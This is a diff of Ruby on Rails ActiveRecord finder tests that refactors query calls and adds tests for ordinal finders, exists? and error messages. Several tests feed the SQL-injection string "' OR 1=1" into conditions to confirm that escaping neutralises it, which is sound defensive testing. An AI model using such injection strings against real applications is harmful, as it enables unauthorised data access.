--- a/activerecord/test/cases/explain_test.rb
+++ b/activerecord/test/cases/explain_test.rb
@@ -26,8 +26,12 @@ if ActiveRecord::Base.connection.supports_explain?
 
       sql, binds = queries[0]
       assert_match "SELECT", sql
-      assert_match "honda", sql
-      assert_equal [], binds
+      if binds.any?
+        assert_equal 1, binds.length
+        assert_equal "honda", binds.last.value
+      else
+        assert_match 'honda', sql
+      end
     end
 
     def test_exec_explain_with_no_binds
diff --git a/activerecord/test/cases/finder_respond_to_test.rb b/activerecord/test/cases/finder_respond_to_test.rb
index 3ff22f222f..6ab2657c44 100644
--- a/activerecord/test/cases/finder_respond_to_test.rb
+++ b/activerecord/test/cases/finder_respond_to_test.rb
@@ -5,6 +5,11 @@ class FinderRespondToTest < ActiveRecord::TestCase
 
   fixtures :topics
 
+  def test_should_preserve_normal_respond_to_behaviour_on_base
+    assert_respond_to ActiveRecord::Base, :new
+    assert !ActiveRecord::Base.respond_to?(:find_by_something)
+  end
+
   def test_should_preserve_normal_respond_to_behaviour_and_respond_to_newly_added_method
     class << Topic; self; end.send(:define_method, :method_added_for_finder_respond_to_test) { }
     assert_respond_to Topic, :method_added_for_finder_respond_to_test
diff --git a/activerecord/test/cases/finder_test.rb b/activerecord/test/cases/finder_test.rb
index 949e994f8d..39308866ee 100644
--- a/activerecord/test/cases/finder_test.rb
+++ b/activerecord/test/cases/finder_test.rb
@@ -4,16 +4,22 @@ require 'models/author'
 require 'models/categorization'
 require 'models/comment'
 require 'models/company'
+require 'models/tagging'
 require 'models/topic'
 require 'models/reply'
 require 'models/entrant'
 require 'models/project'
 require 'models/developer'
+require 'models/computer'
 require 'models/customer'
 require 'models/toy'
+require 'models/matey'
+require 'models/dog'
+require 'models/car'
+require 'models/tyre'
 
 class FinderTest < ActiveRecord::TestCase
-  fixtures :companies, :topics, :entrants, :developers, :developers_projects, :posts, :comments, :accounts, :authors, :customers, :categories, :categorizations
+  fixtures :companies, :topics, :entrants, :developers, :developers_projects, :posts, :comments, :accounts, :authors, :customers, :categories, :categorizations, :cars
 
   def test_find_by_id_with_hash
     assert_raises(ActiveRecord::StatementInvalid) do
@@ -31,11 +37,31 @@ class FinderTest < ActiveRecord::TestCase
     assert_equal(topics(:first).title, Topic.find(1).title)
   end
 
+  def test_find_with_proc_parameter_and_block
+    exception = assert_raises(RuntimeError) do
+      Topic.all.find(-> { raise "should happen" }) { |e| e.title == "non-existing-title" }
+    end
+    assert_equal "should happen", exception.message
+
+    assert_nothing_raised(RuntimeError) do
+      Topic.all.find(-> { raise "should not happen" }) { |e| e.title == topics(:first).title }
+    end
+  end
+
+  def test_find_passing_active_record_object_is_deprecated
+    assert_deprecated do
+      Topic.find(Topic.last)
+    end
+  end
+
   def test_symbols_table_ref
-    Post.first # warm up
+    gc_disabled = GC.disable
+    Post.where("author_id" => nil)  # warm up
     x = Symbol.all_symbols.count
     Post.where("title" => {"xxxqqqq" => "bar"})
     assert_equal x, Symbol.all_symbols.count
+  ensure
+    GC.enable if gc_disabled == false
   end
 
   # find should handle strings that come from URLs
@@ -51,19 +77,38 @@ class FinderTest < ActiveRecord::TestCase
     assert_equal true, Topic.exists?(heading: "The First Topic")
     assert_equal true, Topic.exists?(:author_name => "Mary", :approved => true)
     assert_equal true, Topic.exists?(["parent_id = ?", 1])
+    assert_equal true, Topic.exists?(id: [1, 9999])
 
     assert_equal false, Topic.exists?(45)
-    assert_equal false, Topic.exists?(Topic.new)
+    assert_equal false, Topic.exists?(Topic.new.id)
+
+    assert_raise(NoMethodError) { Topic.exists?([1,2]) }
+  end
+
+  def test_exists_with_polymorphic_relation
+    post = Post.create!(title: 'Post', body: 'default', taggings: [Tagging.new(comment: 'tagging comment')])
+    relation = Post.tagged_with_comment('tagging comment')
+
+    assert_equal true, relation.exists?(title: ['Post'])
+    assert_equal true, relation.exists?(['title LIKE ?', 'Post%'])
+    assert_equal true, relation.exists?
+    assert_equal true, relation.exists?(post.id)
+    assert_equal true, relation.exists?(post.id.to_s)
+
+    assert_equal false, relation.exists?(false)
+  end
 
-    begin
-      assert_equal false, Topic.exists?("foo")
-    rescue ActiveRecord::StatementInvalid
-      # PostgreSQL complains about string comparison with integer field
-    rescue Exception
-      flunk
+  def test_exists_passing_active_record_object_is_deprecated
+    assert_deprecated do
+      Topic.exists?(Topic.new)
     end
+  end
 
-    assert_raise(NoMethodError) { Topic.exists?([1,2]) }
+  def test_exists_fails_when_parameter_has_invalid_type
+    assert_raises(RangeError) do
+      assert_equal false, Topic.exists?(("9"*53).to_i) # number that's bigger than int
+    end
+    assert_equal false, Topic.exists?("foo")
   end
 
   def test_exists_does_not_select_columns_without_alias
@@ -108,8 +153,8 @@ class FinderTest < ActiveRecord::TestCase
 
   def test_exists_with_distinct_association_includes_limit_and_order
     author = Author.first
-    assert_equal false, author.unique_categorized_posts.includes(:special_comments).order('comments.taggings_count DESC').limit(0).exists?
-    assert_equal true, author.unique_categorized_posts.includes(:special_comments).order('comments.taggings_count DESC').limit(1).exists?
+    assert_equal false, author.unique_categorized_posts.includes(:special_comments).order('comments.tags_count DESC').limit(0).exists?
+    assert_equal true, author.unique_categorized_posts.includes(:special_comments).order('comments.tags_count DESC').limit(1).exists?
   end
 
   def test_exists_with_empty_table_and_no_args_given
@@ -148,17 +193,39 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_by_ids_with_limit_and_offset
-    assert_equal 2, Entrant.all.merge!(:limit => 2).find([1,3,2]).size
-    assert_equal 1, Entrant.all.merge!(:limit => 3, :offset => 2).find([1,3,2]).size
+    assert_equal 2, Entrant.limit(2).find([1,3,2]).size
+    assert_equal 1, Entrant.limit(3).offset(2).find([1,3,2]).size
 
     # Also test an edge case: If you have 11 results, and you set a
     #   limit of 3 and offset of 9, then you should find that there
     #   will be only 2 results, regardless of the limit.
     devs = Developer.all
-    last_devs = Developer.all.merge!(:limit => 3, :offset => 9).find devs.map(&:id)
+    last_devs = Developer.limit(3).offset(9).find devs.map(&:id)
     assert_equal 2, last_devs.size
   end
 
+  def test_find_with_large_number
+    assert_raises(ActiveRecord::RecordNotFound) { Topic.find('9999999999999999999999999999999') }
+  end
+
+  def test_find_by_with_large_number
+    assert_nil Topic.find_by(id: '9999999999999999999999999999999')
+  end
+
+  def test_find_by_id_with_large_number
+    assert_nil Topic.find_by_id('9999999999999999999999999999999')
+  end
+
+  def test_find_on_relation_with_large_number
+    assert_nil Topic.where('1=1').find_by(id: 9999999999999999999999999999999)
+  end
+
+  def test_find_by_bang_on_relation_with_large_number
+    assert_raises(ActiveRecord::RecordNotFound) do
+      Topic.where('1=1').find_by!(id: 9999999999999999999999999999999)
+    end
+  end
+
   def test_find_an_empty_array
     assert_equal [], Topic.find([])
   end
@@ -212,7 +279,7 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_take_bang_missing
-    assert_raises ActiveRecord::RecordNotFound do
+    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
       Topic.where("title = 'This title does not exist'").take!
     end
   end
@@ -232,7 +299,7 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_first_bang_missing
-    assert_raises ActiveRecord::RecordNotFound do
+    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
       Topic.where("title = 'This title does not exist'").first!
     end
   end
@@ -246,11 +313,99 @@ class FinderTest < ActiveRecord::TestCase
   def test_model_class_responds_to_first_bang
     assert Topic.first!
     Topic.delete_all
-    assert_raises ActiveRecord::RecordNotFound do
+    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
       Topic.first!
     end
   end
 
+  def test_second
+    assert_equal topics(:second).title, Topic.second.title
+  end
+
+  def test_second_with_offset
+    assert_equal topics(:fifth), Topic.offset(3).second
+  end
+
+  def test_second_have_primary_key_order_by_default
+    expected = topics(:second)
+    expected.touch # PostgreSQL changes the default order if no order clause is used
+    assert_equal expected, Topic.second
+  end
+
+  def test_model_class_responds_to_second_bang
+    assert Topic.second!
+    Topic.delete_all
+    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+      Topic.second!
+    end
+  end
+
+  def test_third
+    assert_equal topics(:third).title, Topic.third.title
+  end
+
+  def test_third_with_offset
+    assert_equal topics(:fifth), Topic.offset(2).third
+  end
+
+  def test_third_have_primary_key_order_by_default
+    expected = topics(:third)
+    expected.touch # PostgreSQL changes the default order if no order clause is used
+    assert_equal expected, Topic.third
+  end
+
+  def test_model_class_responds_to_third_bang
+    assert Topic.third!
+    Topic.delete_all
+    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+      Topic.third!
+    end
+  end
+
+  def test_fourth
+    assert_equal topics(:fourth).title, Topic.fourth.title
+  end
+
+  def test_fourth_with_offset
+    assert_equal topics(:fifth), Topic.offset(1).fourth
+  end
+
+  def test_fourth_have_primary_key_order_by_default
+    expected = topics(:fourth)
+    expected.touch # PostgreSQL changes the default order if no order clause is used
+    assert_equal expected, Topic.fourth
+  end
+
+  def test_model_class_responds_to_fourth_bang
+    assert Topic.fourth!
+    Topic.delete_all
+    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+      Topic.fourth!
+    end
+  end
+
+  def test_fifth
+    assert_equal topics(:fifth).title, Topic.fifth.title
+  end
+
+  def test_fifth_with_offset
+    assert_equal topics(:fifth), Topic.offset(0).fifth
+  end
+
+  def test_fifth_have_primary_key_order_by_default
+    expected = topics(:fifth)
+    expected.touch # PostgreSQL changes the default order if no order clause is used
+    assert_equal expected, Topic.fifth
+  end
+
+  def test_model_class_responds_to_fifth_bang
+    assert Topic.fifth!
+    Topic.delete_all
+    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+      Topic.fifth!
+    end
+  end
+
   def test_last_bang_present
     assert_nothing_raised do
       assert_equal topics(:second), Topic.where("title = 'The Second Topic of the day'").last!
@@ -258,14 +413,14 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_last_bang_missing
-    assert_raises ActiveRecord::RecordNotFound do
+    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
       Topic.where("title = 'This title does not exist'").last!
     end
   end
 
   def test_model_class_responds_to_last_bang
-    assert_equal topics(:fourth), Topic.last!
-    assert_raises ActiveRecord::RecordNotFound do
+    assert_equal topics(:fifth), Topic.last!
+    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
       Topic.delete_all
       Topic.last!
     end
@@ -308,7 +463,7 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_only_some_columns
-    topic = Topic.all.merge!(:select => "author_name").find(1)
+    topic = Topic.select("author_name").find(1)
     assert_raise(ActiveModel::MissingAttributeError) {topic.title}
     assert_raise(ActiveModel::MissingAttributeError) {topic.title?}
     assert_nil topic.read_attribute("title")
@@ -320,23 +475,29 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_on_array_conditions
-    assert Topic.all.merge!(:where => ["approved = ?", false]).find(1)
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => ["approved = ?", true]).find(1) }
+    assert Topic.where(["approved = ?", false]).find(1)
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where(["approved = ?", true]).find(1) }
   end
 
   def test_find_on_hash_conditions
-    assert Topic.all.merge!(:where => { :approved => false }).find(1)
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :approved => true }).find(1) }
+    assert Topic.where(approved: false).find(1)
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where(approved: true).find(1) }
   end
 
   def test_find_on_hash_conditions_with_explicit_table_name
-    assert Topic.all.merge!(:where => { 'topics.approved' => false }).find(1)
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { 'topics.approved' => true }).find(1) }
+    assert Topic.where('topics.approved' => false).find(1)
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where('topics.approved' => true).find(1) }
   end
 
   def test_find_on_hash_conditions_with_hashed_table_name
-    assert Topic.all.merge!(:where => {:topics => { :approved => false }}).find(1)
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => {:topics => { :approved => true }}).find(1) }
+    assert Topic.where(topics: { approved: false }).find(1)
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where(topics: { approved: true }).find(1) }
+  end
+
+  def test_find_on_combined_explicit_and_hashed_table_names
+    assert Topic.where('topics.approved' => false, topics: { author_name: "David" }).find(1)
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where('topics.approved' => true, topics: { author_name: "David" }).find(1) }
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where('topics.approved' => false, topics: { author_name: "Melanie" }).find(1) }
   end
 
   def test_find_with_hash_conditions_on_joined_table
@@ -346,7 +507,7 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_with_hash_conditions_on_joined_table_and_with_range
-    firms = DependentFirm.all.merge!(:joins => :account, :where => {:name => 'RailsCore', :accounts => { :credit_limit => 55..60 }})
+    firms = DependentFirm.joins(:account).where(name: 'RailsCore', accounts: { credit_limit: 55..60 })
     assert_equal 1, firms.size
     assert_equal companies(:rails_core), firms.first
   end
@@ -364,71 +525,75 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_on_hash_conditions_with_range
-    assert_equal [1,2], Topic.all.merge!(:where => { :id => 1..2 }).to_a.map(&:id).sort
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :id => 2..3 }).find(1) }
+    assert_equal [1,2], Topic.where(id: 1..2).to_a.map(&:id).sort
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where(id: 2..3).find(1) }
   end
 
   def test_find_on_hash_conditions_with_end_exclusive_range
-    assert_equal [1,2,3], Topic.all.merge!(:where => { :id => 1..3 }).to_a.map(&:id).sort
-    assert_equal [1,2], Topic.all.merge!(:where => { :id => 1...3 }).to_a.map(&:id).sort
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :id => 2...3 }).find(3) }
+    assert_equal [1,2,3], Topic.where(id: 1..3).to_a.map(&:id).sort
+    assert_equal [1,2], Topic.where(id: 1...3).to_a.map(&:id).sort
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where(id: 2...3).find(3) }
   end
 
   def test_find_on_hash_conditions_with_multiple_ranges
-    assert_equal [1,2,3], Comment.all.merge!(:where => { :id => 1..3, :post_id => 1..2 }).to_a.map(&:id).sort
-    assert_equal [1], Comment.all.merge!(:where => { :id => 1..1, :post_id => 1..10 }).to_a.map(&:id).sort
+    assert_equal [1,2,3], Comment.where(id: 1..3, post_id: 1..2).to_a.map(&:id).sort
+    assert_equal [1], Comment.where(id: 1..1, post_id: 1..10).to_a.map(&:id).sort
   end
 
   def test_find_on_hash_conditions_with_array_of_integers_and_ranges
-    assert_equal [1,2,3,5,6,7,8,9], Comment.all.merge!(:where => {:id => [1..2, 3, 5, 6..8, 9]}).to_a.map(&:id).sort
+    assert_equal [1,2,3,5,6,7,8,9], Comment.where(id: [1..2, 3, 5, 6..8, 9]).to_a.map(&:id).sort
+  end
+
+  def test_find_on_hash_conditions_with_array_of_ranges
+    assert_equal [1,2,6,7,8], Comment.where(id: [1..2, 6..8]).to_a.map(&:id).sort
   end
 
   def test_find_on_multiple_hash_conditions
-    assert Topic.all.merge!(:where => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => false }).find(1)
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => true }).find(1) }
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :author_name => "David", :title => "HHC", :replies_count => 1, :approved => false }).find(1) }
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.all.merge!(:where => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => true }).find(1) }
+    assert Topic.where(author_name: "David", title: "The First Topic", replies_count: 1, approved: false).find(1)
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where(author_name: "David", title: "The First Topic", replies_count: 1, approved: true).find(1) }
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where(author_name: "David", title: "HHC", replies_count: 1, approved: false).find(1) }
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.where(author_name: "David", title: "The First Topic", replies_count: 1, approved: true).find(1) }
   end
 
   def test_condition_interpolation
     assert_kind_of Firm, Company.where("name = '%s'", "37signals").first
-    assert_nil Company.all.merge!(:where => ["name = '%s'", "37signals!"]).first
-    assert_nil Company.all.merge!(:where => ["name = '%s'", "37signals!' OR 1=1"]).first
-    assert_kind_of Time, Topic.all.merge!(:where => ["id = %d", 1]).first.written_on
+    assert_nil Company.where(["name = '%s'", "37signals!"]).first
+    assert_nil Company.where(["name = '%s'", "37signals!' OR 1=1"]).first
+    assert_kind_of Time, Topic.where(["id = %d", 1]).first.written_on
   end
 
   def test_condition_array_interpolation
-    assert_kind_of Firm, Company.all.merge!(:where => ["name = '%s'", "37signals"]).first
-    assert_nil Company.all.merge!(:where => ["name = '%s'", "37signals!"]).first
-    assert_nil Company.all.merge!(:where => ["name = '%s'", "37signals!' OR 1=1"]).first
-    assert_kind_of Time, Topic.all.merge!(:where => ["id = %d", 1]).first.written_on
+    assert_kind_of Firm, Company.where(["name = '%s'", "37signals"]).first
+    assert_nil Company.where(["name = '%s'", "37signals!"]).first
+    assert_nil Company.where(["name = '%s'", "37signals!' OR 1=1"]).first
+    assert_kind_of Time, Topic.where(["id = %d", 1]).first.written_on
   end
 
   def test_condition_hash_interpolation
-    assert_kind_of Firm, Company.all.merge!(:where => { :name => "37signals"}).first
-    assert_nil Company.all.merge!(:where => { :name => "37signals!"}).first
-    assert_kind_of Time, Topic.all.merge!(:where => {:id => 1}).first.written_on
+    assert_kind_of Firm, Company.where(name: "37signals").first
+    assert_nil Company.where(name: "37signals!").first
+    assert_kind_of Time, Topic.where(id: 1).first.written_on
   end
 
   def test_hash_condition_find_malformed
     assert_raise(ActiveRecord::StatementInvalid) {
-      Company.all.merge!(:where => { :id => 2, :dhh => true }).first
+      Company.where(id: 2, dhh: true).first
     }
   end
 
   def test_hash_condition_find_with_escaped_characters
     Company.create("name" => "Ain't noth'n like' \#stuff")
-    assert Company.all.merge!(:where => { :name => "Ain't noth'n like' \#stuff" }).first
+    assert Company.where(name: "Ain't noth'n like' \#stuff").first
   end
 
   def test_hash_condition_find_with_array
-    p1, p2 = Post.all.merge!(:limit => 2, :order => 'id asc').to_a
-    assert_equal [p1, p2], Post.all.merge!(:where => { :id => [p1, p2] }, :order => 'id asc').to_a
-    assert_equal [p1, p2], Post.all.merge!(:where => { :id => [p1, p2.id] }, :order => 'id asc').to_a
+    p1, p2 = Post.limit(2).order('id asc').to_a
+    assert_equal [p1, p2], Post.where(id: [p1, p2]).order('id asc').to_a
+    assert_equal [p1, p2], Post.where(id: [p1, p2.id]).order('id asc').to_a
   end
 
   def test_hash_condition_find_with_nil
-    topic = Topic.all.merge!(:where => { :last_read => nil } ).first
+    topic = Topic.where(last_read: nil).first
     assert_not_nil topic
     assert_nil topic.last_read
   end
@@ -477,61 +642,61 @@ class FinderTest < ActiveRecord::TestCase
 
   def test_condition_utc_time_interpolation_with_default_timezone_local
     with_env_tz 'America/New_York' do
-      with_active_record_default_timezone :local do
+      with_timezone_config default: :local do
         topic = Topic.first
-        assert_equal topic, Topic.all.merge!(:where => ['written_on = ?', topic.written_on.getutc]).first
+        assert_equal topic, Topic.where(['written_on = ?', topic.written_on.getutc]).first
       end
     end
   end
 
   def test_hash_condition_utc_time_interpolation_with_default_timezone_local
     with_env_tz 'America/New_York' do
-      with_active_record_default_timezone :local do
+      with_timezone_config default: :local do
         topic = Topic.first
-        assert_equal topic, Topic.all.merge!(:where => {:written_on => topic.written_on.getutc}).first
+        assert_equal topic, Topic.where(written_on: topic.written_on.getutc).first
       end
     end
   end
 
   def test_condition_local_time_interpolation_with_default_timezone_utc
     with_env_tz 'America/New_York' do
-      with_active_record_default_timezone :utc do
+      with_timezone_config default: :utc do
         topic = Topic.first
-        assert_equal topic, Topic.all.merge!(:where => ['written_on = ?', topic.written_on.getlocal]).first
+        assert_equal topic, Topic.where(['written_on = ?', topic.written_on.getlocal]).first
       end
     end
   end
 
   def test_hash_condition_local_time_interpolation_with_default_timezone_utc
     with_env_tz 'America/New_York' do
-      with_active_record_default_timezone :utc do
+      with_timezone_config default: :utc do
         topic = Topic.first
-        assert_equal topic, Topic.all.merge!(:where => {:written_on => topic.written_on.getlocal}).first
+        assert_equal topic, Topic.where(written_on: topic.written_on.getlocal).first
       end
     end
   end
 
   def test_bind_variables
-    assert_kind_of Firm, Company.all.merge!(:where => ["name = ?", "37signals"]).first
-    assert_nil Company.all.merge!(:where => ["name = ?", "37signals!"]).first
-    assert_nil Company.all.merge!(:where => ["name = ?", "37signals!' OR 1=1"]).first
-    assert_kind_of Time, Topic.all.merge!(:where => ["id = ?", 1]).first.written_on
+    assert_kind_of Firm, Company.where(["name = ?", "37signals"]).first
+    assert_nil Company.where(["name = ?", "37signals!"]).first
+    assert_nil Company.where(["name = ?", "37signals!' OR 1=1"]).first
+    assert_kind_of Time, Topic.where(["id = ?", 1]).first.written_on
     assert_raise(ActiveRecord::PreparedStatementInvalid) {
-      Company.all.merge!(:where => ["id=? AND name = ?", 2]).first
+      Company.where(["id=? AND name = ?", 2]).first
     }
     assert_raise(ActiveRecord::PreparedStatementInvalid) {
-     Company.all.merge!(:where => ["id=?", 2, 3, 4]).first
+     Company.where(["id=?", 2, 3, 4]).first
     }
   end
 
   def test_bind_variables_with_quotes
     Company.create("name" => "37signals' go'es agains")
-    assert Company.all.merge!(:where => ["name = ?", "37signals' go'es agains"]).first
+    assert Company.where(["name = ?", "37signals' go'es agains"]).first
   end
 
   def test_named_bind_variables_with_quotes
     Company.create("name" => "37signals' go'es agains")
-    assert Company.all.merge!(:where => ["name = :name", {:name => "37signals' go'es agains"}]).first
+    assert Company.where(["name = :name", {name: "37signals' go'es agains"}]).first
   end
 
   def test_bind_arity
@@ -549,10 +714,10 @@ class FinderTest < ActiveRecord::TestCase
 
     assert_nothing_raised { bind("'+00:00'", :foo => "bar") }
 
-    assert_kind_of Firm, Company.all.merge!(:where => ["name = :name", { :name => "37signals" }]).first
-    assert_nil Company.all.merge!(:where => ["name = :name", { :name => "37signals!" }]).first
-    assert_nil Company.all.merge!(:where => ["name = :name", { :name => "37signals!' OR 1=1" }]).first
-    assert_kind_of Time, Topic.all.merge!(:where => ["id = :id", { :id => 1 }]).first.written_on
+    assert_kind_of Firm, Company.where(["name = :name", { name: "37signals" }]).first
+    assert_nil Company.where(["name = :name", { name: "37signals!" }]).first
+    assert_nil Company.where(["name = :name", { name: "37signals!' OR 1=1" }]).first
+    assert_kind_of Time, Topic.where(["id = :id", { id: 1 }]).first.written_on
   end
 
   class SimpleEnumerable
@@ -636,7 +801,16 @@ class FinderTest < ActiveRecord::TestCase
 
   def test_find_by_one_attribute_bang
     assert_equal topics(:first), Topic.find_by_title!("The First Topic")
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.find_by_title!("The First Topic!") }
+    assert_raises_with_message(ActiveRecord::RecordNotFound, "Couldn't find Topic") do
+      Topic.find_by_title!("The First Topic!")
+    end
+  end
+
+  def test_find_by_on_attribute_that_is_a_reserved_word
+    dog_alias = 'Dog'
+    dog = Dog.create(alias: dog_alias)
+
+    assert_equal dog, Dog.find_by_alias(dog_alias)
   end
 
   def test_find_by_one_attribute_that_is_an_alias
@@ -718,6 +892,15 @@ class FinderTest < ActiveRecord::TestCase
     assert_raise(ArgumentError) { Topic.find_by_title_and_author_name("The First Topic") }
   end
 
+  def test_find_last_with_offset
+    devs = Developer.order('id')
+
+    assert_equal devs[2], Developer.offset(2).first
+    assert_equal devs[-3], Developer.offset(2).last
+    assert_equal devs[-3], Developer.offset(2).last
+    assert_equal devs[-3], Developer.offset(2).order('id DESC').first
+  end
+
   def test_find_by_nil_attribute
     topic = Topic.find_by_last_read nil
     assert_not_nil topic
@@ -734,31 +917,27 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_all_with_join
-    developers_on_project_one = Developer.all.merge!(
-      :joins => 'LEFT JOIN developers_projects ON developers.id = developers_projects.developer_id',
-      :where => 'project_id=1'
-    ).to_a
+    developers_on_project_one = Developer.
+      joins('LEFT JOIN developers_projects ON developers.id = developers_projects.developer_id').
+      where('project_id=1').to_a
     assert_equal 3, developers_on_project_one.length
-    developer_names = developers_on_project_one.map { |d| d.name }
+    developer_names = developers_on_project_one.map(&:name)
     assert developer_names.include?('David')
     assert developer_names.include?('Jamis')
   end
 
   def test_joins_dont_clobber_id
-    first = Firm.all.merge!(
-      :joins => 'INNER JOIN companies clients ON clients.firm_id = companies.id',
-      :where => 'companies.id = 1'
-    ).first
+    first = Firm.
+      joins('INNER JOIN companies clients ON clients.firm_id = companies.id').
+      where('companies.id = 1').first
     assert_equal 1, first.id
   end
 
   def test_joins_with_string_array
-    person_with_reader_and_post = Post.all.merge!(
-      :joins => [
-        "INNER JOIN categorizations ON categorizations.post_id = posts.id",
-        "INNER JOIN categories ON categories.id = categorizations.category_id AND categories.type = 'SpecialCategory'"
-      ]
-    )
+    person_with_reader_and_post = Post.
+      joins(["INNER JOIN categorizations ON categorizations.post_id = posts.id",
+             "INNER JOIN categories ON categories.id = categorizations.category_id AND categories.type = 'SpecialCategory'"
+            ])
     assert_equal 1, person_with_reader_and_post.size
   end
 
@@ -783,9 +962,9 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_by_records
-    p1, p2 = Post.all.merge!(:limit => 2, :order => 'id asc').to_a
-    assert_equal [p1, p2], Post.all.merge!(:where => ['id in (?)', [p1, p2]], :order => 'id asc')
-    assert_equal [p1, p2], Post.all.merge!(:where => ['id in (?)', [p1, p2.id]], :order => 'id asc')
+    p1, p2 = Post.limit(2).order('id asc').to_a
+    assert_equal [p1, p2], Post.where(['id in (?)', [p1, p2]]).order('id asc')
+    assert_equal [p1, p2], Post.where(['id in (?)', [p1, p2.id]]).order('id asc')
   end
 
   def test_select_value
@@ -797,8 +976,8 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_select_values
-    assert_equal ["1","2","3","4","5","6","7","8","9", "10"], Company.connection.select_values("SELECT id FROM companies ORDER BY id").map! { |i| i.to_s }
-    assert_equal ["37signals","Summit","Microsoft", "Flamboyant Software", "Ex Nihilo", "RailsCore", "Leetsoft", "Jadedpixel", "Odegy", "Ex Nihilo Part Deux"], Company.connection.select_values("SELECT name FROM companies ORDER BY id")
+    assert_equal ["1","2","3","4","5","6","7","8","9", "10", "11"], Company.connection.select_values("SELECT id FROM companies ORDER BY id").map!(&:to_s)
+    assert_equal ["37signals","Summit","Microsoft", "Flamboyant Software", "Ex Nihilo", "RailsCore", "Leetsoft", "Jadedpixel", "Odegy", "Ex Nihilo Part Deux", "Apex"], Company.connection.select_values("SELECT name FROM companies ORDER BY id")
   end
 
   def test_select_rows
@@ -812,36 +991,35 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_with_order_on_included_associations_with_construct_finder_sql_for_association_limiting_and_is_distinct
-    assert_equal 2, Post.all.merge!(:includes => { :authors => :author_address }, :order => 'author_addresses.id DESC ', :limit => 2).to_a.size
+    assert_equal 2, Post.includes(authors: :author_address).order('author_addresses.id DESC ').limit(2).to_a.size
 
-    assert_equal 3, Post.all.merge!(:includes => { :author => :author_address, :authors => :author_address},
-                              :order => 'author_addresses_authors.id DESC ', :limit => 3).to_a.size
+    assert_equal 3, Post.includes(author: :author_address, authors: :author_address).
+                              order('author_addresses_authors.id DESC ').limit(3).to_a.size
   end
 
   def test_find_with_nil_inside_set_passed_for_one_attribute
-    client_of = Company.all.merge!(
-      :where => {
-        :client_of => [2, 1, nil],
-        :name => ['37signals', 'Summit', 'Microsoft'] },
-      :order => 'client_of DESC'
-    ).map { |x| x.client_of }
+    client_of = Company.
+      where(client_of: [2, 1, nil],
+            name: ['37signals', 'Summit', 'Microsoft']).
+      order('client_of DESC').
+      map(&:client_of)
 
     assert client_of.include?(nil)
     assert_equal [2, 1].sort, client_of.compact.sort
   end
 
   def test_find_with_nil_inside_set_passed_for_attribute
-    client_of = Company.all.merge!(
-      :where => { :client_of => [nil] },
-      :order => 'client_of DESC'
-    ).map { |x| x.client_of }
+    client_of = Company.
+      where(client_of: [nil]).
+      order('client_of DESC').
+      map(&:client_of)
 
     assert_equal [], client_of.compact
   end
 
   def test_with_limiting_with_custom_select
     posts = Post.references(:authors).merge(
-      :includes => :author, :select => ' posts.*, authors.id as "author_id"',
+      :includes => :author, :select => 'posts.*, authors.id as "author_id"',
       :limit => 3, :order => 'posts.id'
     ).to_a
     assert_equal 3, posts.size
@@ -849,18 +1027,100 @@ class FinderTest < ActiveRecord::TestCase
   end
 
   def test_find_one_message_with_custom_primary_key
-    Toy.primary_key = :name
-    begin
-      Toy.find 'Hello World!'
-    rescue ActiveRecord::RecordNotFound => e
-      assert_equal 'Couldn\'t find Toy with name=Hello World!', e.message
+    table_with_custom_primary_key do |model|
+      model.primary_key = :name
+      e = assert_raises(ActiveRecord::RecordNotFound) do
+        model.find 'Hello World!'
+      end
+      assert_equal %Q{Couldn't find MercedesCar with 'name'=Hello World!}, e.message
+    end
+  end
+
+  def test_find_some_message_with_custom_primary_key
+    table_with_custom_primary_key do |model|
+      model.primary_key = :name
+      e = assert_raises(ActiveRecord::RecordNotFound) do
+        model.find 'Hello', 'World!'
+      end
+      assert_equal %Q{Couldn't find all MercedesCars with 'name': (Hello, World!) (found 0 results, but was looking for 2)}, e.message
+    end
+  end
+
